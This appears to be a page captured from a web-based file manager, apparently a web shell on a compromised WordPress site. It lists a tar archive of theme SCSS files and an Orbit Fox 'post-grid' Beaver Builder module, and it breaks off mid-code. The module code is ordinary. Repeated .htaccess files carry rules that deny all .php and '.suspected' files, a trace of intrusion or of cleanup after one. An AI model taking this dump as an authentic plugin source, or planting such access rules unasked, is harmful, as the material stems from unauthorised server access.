Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/modules.tar

_accessibility.scss000066600000001634151131506670010444 0ustar00/* Text meant only for screen readers. */
.screen-reader-text {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute !important;
	width: 1px;
	word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */

	&:focus {
		background-color: $color__background-screen;
		border-radius: 3px;
		box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
		clip: auto !important;
		clip-path: none;
		color: $color__text-screen;
		display: block;
		@include font-size(0.875);
		font-weight: bold;
		height: auto;
		left: 5px;
		line-height: normal;
		padding: 15px 23px 14px;
		text-decoration: none;
		top: 5px;
		width: auto;
		z-index: 100000; /* Above WP toolbar. */
	}
}

/* Do not show the outline on the skip link target. */
#content[tabindex="-1"]:focus {
	outline: 0;
}
_alignments.scss000066600000000675151131506670007762 0ustar00.alignleft {
	/*rtl:ignore*/
	float: left;
	/*rtl:ignore*/
	margin-right: $size__spacing-unit;

	@include media(tablet) {
		/*rtl:ignore*/
		margin-right: calc(2 * #{$size__spacing-unit});
	}
}

.alignright {
	/*rtl:ignore*/
	float: right;
	/*rtl:ignore*/
	margin-left: $size__spacing-unit;

	@include media(tablet) {
		/*rtl:ignore*/
		margin-left: calc(2 * #{$size__spacing-unit});
	}
}

.aligncenter {
	clear: both;
	@include center-block;
}
.htaccess000066600000000424151131506670006353 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>_clearings.scss000066600000000646151131506670007566 0ustar00.clear:before,
.clear:after,
.entry-content:before,
.entry-content:after,
.comment-content:before,
.comment-content:after,
.site-header:before,
.site-header:after,
.site-content:before,
.site-content:after,
.site-footer:before,
.site-footer:after {
	@include clearfix;
}

.clear:after,
.entry-content:after,
.comment-content:after,
.site-header:after,
.site-content:after,
.site-footer:after {
	@include clearfix-after;
}
post-grid/includes/loop-settings.php000066600000022430151137207700013612 0ustar00<?php

// Default Settings
$default_posts_per_page = get_option( 'posts_per_page' );
$defaults = array(
	'data_source' => 'custom_query',
	'post_type'   => 'post',
	'order_by'    => 'date',
	'order'       => 'DESC',
	'offset'      => 0,
	'users'       => '',
	'posts_per_page' => $default_posts_per_page,
);

$tab_defaults = isset( $tab['defaults'] ) ? $tab['defaults'] : array();
$settings     = (object) array_merge( $defaults, $tab_defaults, (array) $settings );
$settings     = apply_filters( 'fl_builder_loop_settings', $settings );  // Allow extension of default Values

do_action( 'fl_builder_loop_settings_before_form', $settings ); // e.g Add custom FLBuilder::render_settings_field()

?>
<div class="fl-custom-query fl-loop-data-source" data-source="custom_query">
	<div id="fl-builder-settings-section-general" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Custom Query', 'themeisle-companion' ); ?></h3>
		<table class="fl-form-table">
			<?php

			// Post type
			FLBuilder::render_settings_field(
				'post_type',
				array(
					'type'          => 'post-type',
					'label'         => esc_html__( 'Post Type', 'themeisle-companion' ),
				),
				$settings
			);

			// Order
			FLBuilder::render_settings_field(
				'order',
				array(
					'type'          => 'select',
					'label'         => esc_html__( 'Order', 'themeisle-companion' ),
					'options'       => array(
						'DESC'          => esc_html__( 'Descending', 'themeisle-companion' ),
						'ASC'           => esc_html__( 'Ascending', 'themeisle-companion' ),
					),
				),
				$settings
			);

			// Order by
			FLBuilder::render_settings_field(
				'order_by',
				array(
					'type'          => 'select',
					'label'         => esc_html__( 'Order By', 'themeisle-companion' ),
					'options'       => array(
						'author'         => esc_html__( 'Author', 'themeisle-companion' ),
						'comment_count'  => esc_html__( 'Comment Count', 'themeisle-companion' ),
						'date'           => esc_html__( 'Date', 'themeisle-companion' ),
						'modified'       => esc_html__( 'Date Last Modified', 'themeisle-companion' ),
						'ID'             => esc_html__( 'ID', 'themeisle-companion' ),
						'menu_order'     => esc_html__( 'Menu Order', 'themeisle-companion' ),
						'meta_value'     => esc_html__( 'Meta Value (Alphabetical)', 'themeisle-companion' ),
						'meta_value_num' => esc_html__( 'Meta Value (Numeric)', 'themeisle-companion' ),
						'rand'           => esc_html__( 'Random', 'themeisle-companion' ),
						'title'          => esc_html__( 'Title', 'themeisle-companion' ),
					),
					'toggle'        => array(
						'meta_value'    => array(
							'fields'        => array( 'order_by_meta_key' ),
						),
						'meta_value_num' => array(
							'fields'        => array( 'order_by_meta_key' ),
						),
					),
				),
				$settings
			);

			// Meta Key
			FLBuilder::render_settings_field(
				'order_by_meta_key',
				array(
					'type'          => 'text',
					'label'         => esc_html__( 'Meta Key', 'themeisle-companion' ),
				),
				$settings
			);

			// Offset
			FLBuilder::render_settings_field(
				'offset',
				array(
					'type'          => 'text',
					'label'         => _x( 'Offset', 'How many posts to skip.', 'themeisle-companion' ),
					'default'       => '0',
					'size'          => '4',
					'help'          => esc_html__( 'Skip this many posts that match the specified criteria.', 'themeisle-companion' ),
				),
				$settings
			);

			// Posts per page
			FLBuilder::render_settings_field(
				'posts_per_page',
				array(
					'type'          => 'obfx_number',
					'label'         => esc_html__( 'Posts per page', 'themeisle-companion' ),
					'default'       => $default_posts_per_page,
					'min'       => '-1',
					'help'          => esc_html__( '-1 means all posts', 'themeisle-companion' ),
				),
				$settings
			);

			// Columns
			FLBuilder::render_settings_field(
				'columns',
				array(
					'type'          => 'obfx_number',
					'label'         => esc_html__( 'Number of columns', 'themeisle-companion' ),
					'default'       => '3',
					'min'       => '1',
					'max'          => '5',
				),
				$settings
			);
			?>
		</table>
	</div>
	<div id="fl-builder-settings-section-filter" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Filter', 'themeisle-companion' ); ?></h3>
		<?php foreach ( FLBuilderLoop::post_types() as $slug => $type ) : ?>
			<table class="fl-form-table fl-custom-query-filter fl-custom-query-<?php echo $slug; ?>-filter" 
																							<?php
																							if ( $slug == $settings->post_type ) {
																								echo 'style="display:table;"';}
																							?>
>
				<?php

				// Posts
				FLBuilder::render_settings_field(
					'posts_' . $slug,
					array(
						'type'          => 'suggest',
						'action'        => 'fl_as_posts',
						'data'          => $slug,
						'label'         => $type->label,
						'help'          => sprintf( esc_html__( 'Enter a list of %1$s.', 'themeisle-companion' ), $type->label ),
						'matching'      => true,
					),
					$settings
				);

				// Taxonomies
				$taxonomies = FLBuilderLoop::taxonomies( $slug );

				foreach ( $taxonomies as $tax_slug => $tax ) {

					FLBuilder::render_settings_field(
						'tax_' . $slug . '_' . $tax_slug,
						array(
							'type'          => 'suggest',
							'action'        => 'fl_as_terms',
							'data'          => $tax_slug,
							'label'         => $tax->label,
							'help'          => sprintf( esc_html__( 'Enter a list of %1$s.', 'themeisle-companion' ), $tax->label ),
							'matching'      => true,
						),
						$settings
					);
				}

				?>
			</table>
		<?php endforeach; ?>
		<table class="fl-form-table">
			<?php

			// Author
			FLBuilder::render_settings_field(
				'users',
				array(
					'type'          => 'suggest',
					'action'        => 'fl_as_users',
					'label'         => esc_html__( 'Authors', 'themeisle-companion' ),
					'help'          => esc_html__( 'Enter a list of authors usernames.', 'themeisle-companion' ),
					'matching'      => true,
				),
				$settings
			);

			?>
		</table>
	</div>
	<div id="fl-builder-settings-section-filter" class="fl-builder-settings-section">
		<h3 class="fl-builder-settings-title"><?php _e( 'Appearance', 'themeisle-companion' ); ?></h3>
		<table class="fl-form-table">

		<?php
		// Vertical align
		FLBuilder::render_settings_field(
			'card_vertical_align',
			array(
				'type'          => 'select',
				'label'         => esc_html__( 'Vertical align', 'themeisle-companion' ),
				'default' => 'grid',
				'options'       => array(
					'top'         => esc_html__( 'Top', 'themeisle-companion' ),
					'middle'  => esc_html__( 'Middle', 'themeisle-companion' ),
					'bottom'  => esc_html__( 'Bottom', 'themeisle-companion' ),
				),
			),
			$settings
		);

		// Display type
		FLBuilder::render_settings_field(
			'display_type',
			array(
				'type'          => 'select',
				'label'         => esc_html__( 'Display type', 'themeisle-companion' ),
				'default' => 'grid',
				'options'       => array(
					'grid'         => esc_html__( 'Grid', 'themeisle-companion' ),
					'list'  => esc_html__( 'List', 'themeisle-companion' ),
				),
			),
			$settings
		);

		// Card layout
		FLBuilder::render_settings_field(
			'card_layout',
			array(
				'type'          => 'obfx_toggle',
				'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
			),
			$settings
		);

		// Padding top
		FLBuilder::render_settings_field(
			'card_margin_top',
			array(
				'type'          => 'obfx_number',
				'label'         => esc_html__( 'Margin top', 'themeisle-companion' ),
				'default'       => '0',
				'min'       => '0',
			),
			$settings
		);

		// Padding bottom
		FLBuilder::render_settings_field(
			'card_margin_bottom',
			array(
				'type'          => 'obfx_number',
				'label'         => esc_html__( 'Margin bottom', 'themeisle-companion' ),
				'default'       => '30',
				'min'       => '0',
			),
			$settings
		);

		// Background color
		FLBuilder::render_settings_field(
			'post_bg_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Background color', 'themeisle-companion' ),
				'show_reset'    => true,
				'show_alpha'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid',
					'property'     => 'background-color',
				),

			),
			$settings
		);

		// Link color
		FLBuilder::render_settings_field(
			'post_link_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Link color', 'themeisle-companion' ),
				'show_reset'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid a, .obfx-post-grid-pagination a',
					'property'     => 'color',
				),
			),
			$settings
		);

		// Link color
		FLBuilder::render_settings_field(
			'post_text_color',
			array(
				'type'          => 'color',
				'label'         => __( 'Text color', 'themeisle-companion' ),
				'show_reset'    => true,
				'preview'      => array(
					'type'         => 'css',
					'selector'     => '.obfx-post-grid, .obfx-post-grid-pagination',
					'property'     => 'color',
				),
			),
			$settings
		);
		?>
		</table>
	</div>
</div>
<?php
do_action( 'fl_builder_loop_settings_after_form', $settings ); // e.g Add custom FLBuilder::render_settings_field()
post-grid/includes/frontend.php000066600000017762151137207700012636 0ustar00<?php
/**
 * This file is used to render each pricing module instance.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */


if ( ! function_exists( 'obfx_show_post_grid_thumbnail' ) ) {
	/**
	 * Display post grid image.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_thumbnail( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_thumbnail = ! empty( $settings->show_post_thumbnail ) ? $settings->show_post_thumbnail : '';
		if ( $show_post_thumbnail === 'no' ) {
			return;
		}

		$size = ! empty( $settings->image_size ) ? $settings->image_size : 'post-thumbnail';
		$pid  = get_the_ID();
		$img  = get_the_post_thumbnail_url( $pid, $size );
		if ( ! empty( $img ) ) {
			$thumbnail_shadow = ! empty( $settings->thumbnail_shadow ) && $settings->thumbnail_shadow === 'yes' ? 'obfx-card' : '';
			echo '<div class="obfx-post-grid-thumbnail ' . esc_attr( $thumbnail_shadow ) . '">';
			if ( ! empty( $settings->show_thumbnail_link ) && $settings->show_thumbnail_link === 'yes' ) {
				echo '<a href="' . get_permalink() . '">';
			}
			echo '<img src="' . esc_url( $img ) . '"/></div>';
			if ( ! empty( $settings->show_thumbnail_link ) && $settings->show_thumbnail_link === 'yes' ) {
				echo '</a>';
			}
		}
	}
}

if ( ! function_exists( 'obfx_show_post_grid_title' ) ) {
	/**
	 * Display post grid title.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_title( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_title = ! empty( $settings->show_post_title ) ? $settings->show_post_title : '';
		if ( $show_post_title === 'no' ) {
			return;
		}

		if ( ! empty( $settings->show_title_link ) && $settings->show_title_link === 'yes' ) {
			echo '<a href="' . get_permalink() . '">';
		}
		$tag = ! empty( $settings->title_tag ) ? $settings->title_tag : 'h4';
		the_title( '<' . $tag . ' class="obfx-post-grid-title">', '</' . $tag . '>' );
		if ( ! empty( $settings->show_title_link ) && $settings->show_title_link === 'yes' ) {
			echo '</a>';
		}
	}
}

if ( ! function_exists( 'obfx_show_post_grid_meta' ) ) {
	/**
	 * Display post grid meta.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_meta( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_meta = ! empty( $settings->show_post_meta ) ? $settings->show_post_meta : '';
		if ( $show_post_meta === 'no' ) {
			return;
		}

		$pid        = get_the_ID();
		$meta_data  = ! empty( $settings->meta_data ) ? ( is_array( $settings->meta_data ) ? $settings->meta_data : array( $settings->meta_data ) ) : array();
		$show_icons = ! empty( $settings->show_icons ) ? $settings->show_icons : '';
		echo '<div class="obfx-post-grid-meta">';
		if ( in_array( 'author', $meta_data ) ) {
			$author = get_the_author( $pid );
			if ( ! empty( $author ) ) {
				echo '<div class="obfx-author">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-user"></i>';
				}
				printf(
					/* translators: %1$s is Author name wrapped, %2$s is Time */
					esc_html__( 'By %1$s', 'themeisle-companion' ),
					sprintf(
						/* translators: %1$s is Author name, %2$s is author link */
						'<a href="%2$s" title="%1$s"><b>%1$s</b></a>',
						esc_html( get_the_author() ),
						esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) )
					)
				);
				echo '</div>';
			}
		}

		if ( in_array( 'date', $meta_data ) ) {
			echo '<div class="obfx-date">';
			if ( $show_icons === 'yes' ) {
				echo '<i class="fa fa-calendar"></i>';
			}
			echo get_the_date();
			echo '</div>';
		}

		if ( in_array( 'category', $meta_data ) ) {
			$cat = get_the_category();
			if ( ! empty( $cat ) ) {
				echo '<div class="obfx-category">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-list"></i>';
				}
				foreach ( $cat as $category ) {
					$cat_id = $category->term_id;
					$link   = get_category_link( $cat_id );
					$name   = $category->name;
					if ( ! empty( $name ) ) {
						if ( ! empty( $link ) ) {
							echo '<a href="' . esc_url( $link ) . '">';
						}
						echo $name;
						if ( ! empty( $link ) ) {
							echo '</a>';
						}
					}
				}
				echo '</div>';
			}
		}

		if ( in_array( 'tags', $meta_data ) ) {
			$tags = wp_get_post_tags( $pid );
			if ( ! empty( $tags ) ) {
				echo '<div class="obfx-tags">';
				if ( $show_icons === 'yes' ) {
					echo '<i class="fa fa-tag"></i>';
				}
				foreach ( $tags as $tag ) {
					$tag_id = $tag->term_id;
					$link   = get_tag_link( $tag_id );
					$name   = $tag->name;
					if ( ! empty( $name ) ) {
						if ( ! empty( $link ) ) {
							echo '<a href="' . esc_url( $link ) . '">';
						}
						echo $name;
						if ( ! empty( $link ) ) {
							echo '</a>';
						}
					}
				}
				echo '</div>';
			}
		}

		if ( in_array( 'comments', $meta_data ) ) {
			echo '<div class=obfx-comments">';
			if ( $show_icons === 'yes' ) {
				echo '<i class="fa fa-comment"></i>';
			}
			$comments_number = get_comments_number();
			if ( 0 == ! $comments_number ) {
				if ( 1 === $comments_number ) {
					/* translators: %s: post title */
					_x( 'One comment', 'comments title', 'themeisle-companion' );
				} else {
					printf(
						/* translators: 1: number of comments, 2: post title */
						_nx(
							'%1$s Comment',
							'%1$s Comments',
							$comments_number,
							'comments title',
							'themeisle-companion'
						),
						number_format_i18n( $comments_number )
					);
				}
			}
			echo '</div>';
		}
		echo '</div>';
	}
}

if ( ! function_exists( 'obfx_show_post_grid_content' ) ) {
	/**
	 * Display post grid content.
	 *
	 * @param array $settings Post grid settings.
	 */
	function obfx_show_post_grid_content( $settings ) {
		if ( empty( $settings ) ) {
			return;
		}

		$show_post_content = ! empty( $settings->show_post_content ) ? $settings->show_post_content : '';
		if ( $show_post_content === 'no' ) {
			return;
		}

		$number_of_words = ! empty( $settings->content_length ) ? $settings->content_length : '';
		echo '<div class="obfx-post-content">';
		if ( ! empty( $number_of_words ) ) {
			$content = obfx_get_limited_content( $number_of_words, $settings );
			echo '<p>' . wp_kses_post( $content ) . '</p>';
		}
		echo '</div>';
	}
}

if ( ! function_exists( 'obfx_get_limited_content' ) ) {
	/**
	 * Get content with limited number of words.
	 *
	 * @param int $limit Words limit.
	 *
	 * @return string
	 */
	function obfx_get_limited_content( $limit, $settings ) {
		$content = explode( ' ', get_the_content(), $limit );

		$show_read_more = ! empty( $settings->show_read_more ) ? $settings->show_read_more : '';
		$read_more      = $show_read_more === 'yes' ? ( ! empty( $settings->read_more_text ) ? '<a class="obfx-post-grid-read-more" href="' . get_the_permalink() . '">' . $settings->read_more_text . '</a>' : '' ) : '';
		if ( count( $content ) >= $limit ) {
			array_pop( $content );
			$content = implode( ' ', $content );
			$content = strip_tags( $content );
			$content = $content . '...' . wp_kses_post( $read_more );
		} else {
			$content = implode( ' ', $content );
		}

		$content = preg_replace( '/\[.+\]/', '', $content );
		$content = apply_filters( 'the_content', $content );
		$content = str_replace( ']]>', ']]&gt;', $content );

		return $content;
	}
}



$query = FLBuilderLoop::query( $settings );
if ( $query->have_posts() ) {

	$class_to_add = ! empty( $settings->card_layout ) && $settings->card_layout === 'yes' ? 'obfx-card' : '';
	while ( $query->have_posts() ) {
		$query->the_post();

		echo '<div class="obfx-post-grid-wrapper">';
			echo '<div class="obfx-post-grid ' . esc_attr( $class_to_add ) . '">';
				obfx_show_post_grid_thumbnail( $settings );
				obfx_show_post_grid_title( $settings );
				obfx_show_post_grid_meta( $settings );
				obfx_show_post_grid_content( $settings );
			echo '</div>';
		echo '</div>';
	}

	if ( $settings->show_pagination === 'yes' ) {
		echo '<div class="obfx-post-grid-pagination">';
		FLBuilderLoop::pagination( $query );
		echo '</div>';
	}
}

wp_reset_postdata();
post-grid/includes/.htaccess000066600000000424151137207700012067 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>post-grid/includes/frontend.css.php000066600000023254151137207700013416 0ustar00<?php

$post_width = $settings->display_type === 'list' ? 100 : ( ! empty( $settings->columns ) ? 100 / (int) $settings->columns : 33.3333 );
$card_vertical_align = ! empty( $settings->card_vertical_align ) ? $settings->card_vertical_align : 'top';
echo '.fl-node-' . $id . ' .obfx-post-grid-wrapper{
	width: ' . $post_width . '%;
	vertical-align: ' . $card_vertical_align . ';
}';


$post_bg_color = ! empty( $settings->post_bg_color ) ? $settings->post_bg_color : '';
if ( ! empty( $post_bg_color ) ) {
	$post_bg_color = strpos( $post_bg_color, 'rgba' ) !== false ? 'background-color:' . $post_bg_color : 'background-color:#' . $post_bg_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid{
	' . $post_bg_color . ';
	}';
}

$post_link_color = ! empty( $settings->post_link_color ) ? $settings->post_link_color : '';
if ( ! empty( $post_link_color ) ) {
	$post_link_color = strpos( $post_link_color, 'rgba' ) !== false ? 'color:' . $post_link_color : 'color:#' . $post_link_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid a, .fl-node-' . $id . ' .obfx-post-grid-pagination a {
	' . $post_link_color . ';
	}';
}

$post_text_color = ! empty( $settings->post_text_color ) ? $settings->post_text_color : '';
if ( ! empty( $post_text_color ) ) {
	$post_text_color = strpos( $post_text_color, 'rgba' ) !== false ? 'color:' . $post_text_color : 'color:#' . $post_text_color;
	echo '.fl-node-' . $id . ' .obfx-post-grid, .fl-node-' . $id . ' .obfx-post-grid-pagination{
	' . $post_text_color . ';
	}';
}


$card_margin_top = ! empty( $settings->card_margin_top ) ? $settings->card_margin_top : '0';
$card_margin_bottom = ! empty( $settings->card_margin_bottom ) ? $settings->card_margin_bottom : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid{
	margin-top: ' . $card_margin_top . 'px;
	margin-bottom: ' . $card_margin_bottom . 'px;
}
';

$thumbnail_margin_top = ! empty( $settings->thumbnail_margin_top ) ? $settings->thumbnail_margin_top : '0';
$thumbnail_margin_bottom = ! empty( $settings->thumbnail_margin_bottom ) ? $settings->thumbnail_margin_bottom : '0';
$thumbnail_margin_left = ! empty( $settings->thumbnail_margin_left ) ? $settings->thumbnail_margin_left : '0';
$thumbnail_margin_right = ! empty( $settings->thumbnail_margin_right ) ? $settings->thumbnail_margin_right : '0';
$image_alignment = ! empty( $settings->image_alignment ) ? $settings->image_alignment : 'center';

echo '.fl-node-' . $id . ' .obfx-post-grid-thumbnail{
	margin-top: ' . $thumbnail_margin_top . 'px;
	margin-bottom: ' . $thumbnail_margin_bottom . 'px;
	margin-left: ' . $thumbnail_margin_left . 'px;
	margin-right: ' . $thumbnail_margin_right . 'px;';

switch ( $image_alignment ) {
	case 'center':
		echo 'text-align:center; width:100%;';
		break;
	case 'left':
		echo 'float:left';
		break;
	case 'right':
		echo 'float:right';
		break;
}
echo '}';


$title_padding_top = ! empty( $settings->title_padding_top ) ? $settings->title_padding_top : '0';
$title_padding_bottom = ! empty( $settings->title_padding_bottom ) ? $settings->title_padding_bottom : '0';
$title_padding_left = ! empty( $settings->title_padding_left ) ? $settings->title_padding_left : '0';
$title_padding_right = ! empty( $settings->title_padding_right ) ? $settings->title_padding_right : '0';
$title_alignment = ! empty( $settings->title_alignment ) ? $settings->title_alignment : 'center';
$title_font_size = ! empty( $settings->title_font_size ) ? $settings->title_font_size : '0';
$title_font_family = ! empty( $settings->title_font_family['family'] ) ? $settings->title_font_family['family'] : 'Roboto';
$title_font_weight = ! empty( $settings->title_font_family['weight'] ) ? $settings->title_font_family['weight'] : '400';
$title_transform = ! empty( $settings->title_transform ) ? $settings->title_transform : 'none';
$title_font_style = ! empty( $settings->title_font_style ) ? $settings->title_font_style : 'none';
$title_line_height = ! empty( $settings->title_line_height ) ? $settings->title_line_height : 'inherit';
$title_letter_spacing = ! empty( $settings->title_letter_spacing ) ? $settings->title_letter_spacing : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid-title{
	padding-top: ' . $title_padding_top . 'px;
	padding-bottom: ' . $title_padding_bottom . 'px;
	padding-left: ' . $title_padding_left . 'px;
	padding-right: ' . $title_padding_right . 'px;
	text-align: ' . $title_alignment . ';
	font-size:' . $title_font_size . 'px;
	font-family:' . $title_font_family . ';
	font-weight:' . $title_font_weight . ';
	text-transform:' . $title_transform . ';
	font-style:' . $title_font_style . ';
	line-height:' . $title_line_height . 'px;
	letter-spacing:' . $title_letter_spacing . 'px;
} ';

$meta_padding_top = ! empty( $settings->meta_padding_top ) ? $settings->meta_padding_top : '0';
$meta_padding_bottom = ! empty( $settings->meta_padding_bottom ) ? $settings->meta_padding_bottom : '0';
$meta_padding_left = ! empty( $settings->meta_padding_left ) ? $settings->meta_padding_left : '0';
$meta_padding_right = ! empty( $settings->meta_padding_right ) ? $settings->meta_padding_right : '0';
$meta_alignment = ! empty( $settings->meta_alignment ) ? $settings->meta_alignment : 'center';
$meta_font_size = ! empty( $settings->meta_font_size ) ? $settings->meta_font_size : '0';
$meta_font_family = ! empty( $settings->meta_font_family['family'] ) ? $settings->meta_font_family['family'] : 'Roboto';
$meta_font_weight = ! empty( $settings->meta_font_family['weight'] ) ? $settings->meta_font_family['weight'] : '400';
$meta_transform = ! empty( $settings->meta_transform ) ? $settings->meta_transform : 'none';
$meta_font_style = ! empty( $settings->meta_font_style ) ? $settings->meta_font_style : 'none';
$meta_line_height = ! empty( $settings->meta_line_height ) ? $settings->meta_line_height : 'inherit';
$meta_letter_spacing = ! empty( $settings->meta_letter_spacing ) ? $settings->meta_letter_spacing : '0';
echo '.fl-node-' . $id . ' .obfx-post-grid-meta{
	padding-top: ' . $meta_padding_top . 'px;
	padding-bottom: ' . $meta_padding_bottom . 'px;
	padding-left: ' . $meta_padding_left . 'px;
	padding-right: ' . $meta_padding_right . 'px;
	font-size:' . $meta_font_size . 'px;
	font-family:' . $meta_font_family . ';
	font-weight:' . $meta_font_weight . ';
	text-transform:' . $meta_transform . ';
	font-style:' . $meta_font_style . ';
	line-height:' . $meta_line_height . 'px;
	letter-spacing:' . $meta_letter_spacing . 'px;
	text-align: ' . $meta_alignment . ';
} ';


$content_padding_top = ! empty( $settings->content_padding_top ) ? $settings->content_padding_top : '0';
$content_padding_bottom = ! empty( $settings->content_padding_bottom ) ? $settings->content_padding_bottom : '0';
$content_padding_left = ! empty( $settings->content_padding_left ) ? $settings->content_padding_left : '0';
$content_padding_right = ! empty( $settings->content_padding_right ) ? $settings->content_padding_right : '0';
$content_alignment = ! empty( $settings->content_alignment ) ? $settings->content_alignment : 'center';
$content_font_size = ! empty( $settings->content_font_size ) ? $settings->content_font_size : '0';
$content_font_family = ! empty( $settings->content_font_family['family'] ) ? $settings->content_font_family['family'] : 'Roboto';
$content_font_weight = ! empty( $settings->content_font_family['weight'] ) ? $settings->content_font_family['weight'] : '400';
$content_transform = ! empty( $settings->content_transform ) ? $settings->content_transform : 'none';
$content_font_style = ! empty( $settings->content_font_style ) ? $settings->content_font_style : 'none';
$content_line_height = ! empty( $settings->content_line_height ) ? $settings->content_line_height : 'inherit';
$content_letter_spacing = ! empty( $settings->content_letter_spacing ) ? $settings->content_letter_spacing : '0';

echo '.fl-node-' . $id . ' .obfx-post-content{
	padding-top: ' . $content_padding_top . 'px;
	padding-bottom: ' . $content_padding_bottom . 'px;
	padding-left: ' . $content_padding_left . 'px;
	padding-right: ' . $content_padding_right . 'px;
	text-align: ' . $content_alignment . ';
	font-size:' . $content_font_size . 'px;
	font-family:' . $content_font_family . ';
	font-weight:' . $content_font_weight . ';
	text-transform:' . $content_transform . ';
	font-style:' . $content_font_style . ';
	line-height:' . $content_line_height . 'px;
	letter-spacing:' . $content_letter_spacing . 'px;
} ';

$pagination_font_size = ! empty( $settings->pagination_font_size ) ? $settings->pagination_font_size : '0';
$pagination_font_family = ! empty( $settings->pagination_font_family['family'] ) ? $settings->pagination_font_family['family'] : 'Roboto';
$pagination_font_weight = ! empty( $settings->pagination_font_family['weight'] ) ? $settings->pagination_font_family['weight'] : '400';
$pagination_transform = ! empty( $settings->pagination_transform ) ? $settings->pagination_transform : 'none';
$pagination_font_style = ! empty( $settings->pagination_font_style ) ? $settings->pagination_font_style : 'none';
$pagination_line_height = ! empty( $settings->pagination_line_height ) ? $settings->pagination_line_height : 'inherit';
$pagination_letter_spacing = ! empty( $settings->pagination_letter_spacing ) ? $settings->pagination_letter_spacing : '0';
$pagination_alignment = ! empty( $settings->pagination_alignment ) ? $settings->pagination_alignment : 'center';
echo '.fl-node-' . $id . ' .obfx-post-grid-pagination li a, .fl-node-' . $id . ' .obfx-post-grid-pagination li {
	font-size:' . $pagination_font_size . 'px;
	font-family:' . $pagination_font_family . ';
	font-weight:' . $pagination_font_weight . ';
	text-transform:' . $pagination_transform . ';
	font-style:' . $pagination_font_style . ';
	line-height:' . $pagination_line_height . 'px;
	letter-spacing:' . $pagination_letter_spacing . 'px;
}';

echo '.fl-node-' . $id . ' .obfx-post-grid-pagination{
	text-align: ' . $pagination_alignment . ';
}';
post-grid/.htaccess000066600000000424151137207700010261 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>post-grid/post-grid.php000066600000026372151137207700011116 0ustar00<?php

// Get the module directory.
$module_directory = $this->get_dir();

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

/**
 * Class PostGridModule
 */
class PostGridModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Post Grid', 'themeisle-companion' ),
				'description'   => esc_html__( 'A method to display your posts.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/post-grid/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/post-grid/',
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
$image_sizes = get_intermediate_image_sizes();
$choices = array();
if ( ! empty( $image_sizes ) ) {
	foreach ( $image_sizes as $size ) {
		$name = str_replace( '_', ' ', $size );
		$name = str_replace( '-', ' ', $name );
		$choices[ $size ] = ucfirst( $name );
	}
}
FLBuilder::register_module(
	'PostGridModule',
	array(
		'loop_settings' => array(
			'title'         => esc_html__( 'Loop Settings', 'themeisle-companion' ),
			'file'          => BEAVER_WIDGETS_PATH . 'modules/post-grid/includes/loop-settings.php',
		),
		'image_options' => array(
			'title' => esc_html__( 'Image options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_thumbnail' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post thumbnail', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_thumbnail_link' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Link in thumbnail', 'themeisle-companion' ),
							'default' => 'no',
						),
						'thumbnail_shadow' => array(
							'type'          => 'obfx_toggle',
